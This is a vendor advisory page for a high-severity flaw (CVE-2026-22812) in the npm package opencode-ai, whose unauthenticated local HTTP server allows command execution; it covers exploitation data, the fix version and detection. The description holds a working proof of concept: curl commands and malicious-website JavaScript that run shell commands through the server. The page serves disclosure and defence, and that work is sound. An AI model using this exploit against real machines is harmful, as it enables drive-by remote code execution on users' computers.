Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-vxw4-wv6m-9hhh — opencode-ai

HIGHFix: anomalyco/opencode@7d2d87f

GHSA-vxw4-wv6m-9hhh is a high-severity (CVSS 8.8) Missing Authentication vulnerability in opencode-ai. 2 public exploit references exist, so weaponization risk is real. A fix is available for opencode-ai — see the affected versions and patch details below.

OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution

Also known asCVE-2026-22812
Published
Jan 13, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
2 known
Exploitation data as of Sep 25, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-vxw4-wv6m-9hhh.

EPSS Exploitation Probability

via FIRST.org ↗
16.8%probability of exploitation in next 30 days
Moderate Risk0.00%
Lower risk than most CVEs97th percentile — riskier than 97% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-vxw4-wv6m-9hhh plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 379,145 CVEs with a current EPSS score, this one falls in the 10–50% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

76other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
opencode-ainpm
2.2Mdownloads / week

Description

Previously reported via email to [email protected] on 2025-11-17 per the security policy in opencode-sdk-js/SECURITY.md. No response received.

Summary

OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.

Details

When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:

  • POST /session/:id/shell - Execute shell commands (server.ts:1401)
  • POST /pty - Create interactive terminal sessions (server.ts:267)
  • GET /file/content?path= - Read arbitrary files (server.ts:1868)

The server is started automatically in cli/cmd/tui/worker.ts:36 via Server.listen().

No authentication middleware exists in server/server.ts. The server uses permissive CORS (.use(cors()) with default Access-Control-Allow-Origin: *), enabling browser-based exploitation.

PoC

Local exploitation:

API="http://127.0.0.1:4096"  # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
  -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt  # outputs: PWNED

Browser-based exploitation:

A malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.

// Malicious website JavaScript
fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
})
.then(r => r.json())
.then(session => {
  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
  });
});

Note: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.

Impact

Remote Code Execution via two vectors:

  1. Local process: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.

  2. Browser-based (confirmed in Firefox): Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.

With --mdns flag, the server binds to 0.0.0.0 and advertises via Bonjour, extending the attack surface to the entire local network.

Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmopencode-aiall versions1.0.216npm install opencode-ai@1.0.216
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for opencode-ai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update opencode-ai to 1.0.216 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vxw4-wv6m-9hhh is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-vxw4-wv6m-9hhh can be triaged on real exposure rather than presence alone.

Tailored to GHSA-vxw4-wv6m-9hhh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

How to detect GHSA-vxw4-wv6m-9hhh

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id ghsa-vxw4-wv6m-9hhh -u https://target
Template
OpenCode < 1.0.216 - Unauthenticated Remote Code Execution
Severity
high
Impact
Unauthenticated attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
Remediation
Upgrade OpenCode to version 1.0.216 or later.

Template by ProjectDiscovery nuclei-templates (princechaddha), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

*Previously reported via email to [email protected] on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.* ### Summary OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges. ### Details When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed: - `POST /session/:id/shell` - Execute shell commands (
O3 Security · Impact-Aware SCA

Is GHSA-vxw4-wv6m-9hhh in your dependencies?

O3 Security finds GHSA-vxw4-wv6m-9hhh across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-vxw4-wv6m-9hhh: RCE (High 8.8) | O3 Security